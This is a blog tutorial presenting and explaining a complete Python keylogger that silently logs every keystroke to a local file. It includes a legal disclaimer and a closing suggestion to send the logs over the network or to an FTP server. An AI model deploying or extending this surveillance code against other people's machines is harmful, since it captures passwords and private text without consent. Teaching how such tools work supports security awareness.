Create a Keylogger using Python
Tags: python, programming, tutorial, productivity
Published: 2022-07-24 22:43:00

## Introduction 

In this tutorial, you will learn how to write a keylogger in Python. A keylogger is a type of surveillance tool used to monitor and record each keystroke typed on a specific computer's keyboard.

### ⚠️ LEGAL DISCLAIMER 

When it comes to the legality of [Keyloggers and other hacking tools, are legal to possess](https://www.ncsl.org/research/telecommunications-and-information-technology/computer-hacking-and-unauthorized-access-laws.aspx). However, installing it on a computer, even your personal computer, can expose you to legal trouble. If you let anyone else use your computer without disabling the keylogger, or not inform them that it is active, you are likely violating federal law. The goal of this tutorial is for security awareness and educational purposes. 

## Implementing the Keylogger
This is the full Keylogger.py script.

```python
from pynput.keyboard import Key, Listener
import logging


logging.basicConfig(filename="keystroke_log.txt",
                    level=logging.DEBUG,
                    style="{",
                    datefmt='%Y-%d-%M %H:%M:%S',
                    format='[{asctime}]: {message}')


def on_press(key) -> None:
    logging.info(str(key))


def on_release(key) -> bool:
    if key == Key.esc:
        return False


with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
```

## Code Explanation

### Lines 1-2: Importing Required Libraries

```python
from pynput.keyboard import Key, Listener
import logging
```
- `pynput`: This library allows you to control and monitor input devices.
- `logging`: This library is used for tracking events that happen when some software runs

### Lines 5-9: Basic Log Configuration

```python
logging.basicConfig(filename="keystroke_log.txt",
                    level=logging.DEBUG,
                    style="{",
                    datefmt='%Y-%d-%M %H:%M:%S',
                    format='[{asctime}]: {message}')
```

Here we create basic configuration for the logging system. We will specify the filename where keystrokes will be recorded as `keystroke_log.txt` followed by specifying the format in which the keystrokes will be stored which will be:
- `[YYYY-MM-DD HH-MM-SS]: 'key'` 


### Lines 12-13: Defining `On_Press` Function

```python
def on_press(key) -> None:
    logging.info(str(key))
```

The function takes `key` as an argument, which is the key pressed by the user, and logs it into the file after converting it into a string.

### Lines 16-18: Defining the `On_Release` Function:

```python
def on_release(key) -> bool:
    if key == Key.esc:
        return False
```
The function takes `key` as an argument, which again is the key pressed by the user, and will terminate the Keylogger program if the `Esc key` is passed as an argument.

### Lines 21-22: Getting Keystrokes
```python
with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
```

We create an instance of a Listener which would be recording keystrokes and pass the function we created as an argument. Then we use the `.join()` method to join it to the main thread. Therefore, every time a key is pressed, the listener is activated and it calls our function which then logs our keystrokes into the file.

## Running The Python Keylogger


Run the program:

```cmd
$ python keylogger.py
``` 

Once the program is launched, you will not notice any activity. The program is running in the background. Just begin to type; when you are ready for the program to terminate, just press the `Esc` key. Once you do, you will notice a new file was created, `keystroke_log.txt`. This is the file that contains all of the recorded keystrokes.    

## Examining the `Keystroke_log.txt` File

Below is a screenshot of my `keystroke_log.txt` file which shows my captured keystrokes: 

![image](https://user-images.githubusercontent.com/72005563/180667835-91987058-e3c1-437a-9fa4-9b28ae912509.png)
 
## Conclusion

Now you know how to construct a basic keylogger. This program can be extended to send `log files` across the network or even uploaded to an FTP Server where you can download it later for use. Remember, this tutorial and Keylogger script are strictly for educational purposes and it shouldn’t be employed for malicious purposes. Please leave  `like` or `comment` if you found this article interesting!

### 🔗 Resource Link

- [GitHub Source Code](https://github.com/seraph776/DevCommunity/tree/main/Keylogger)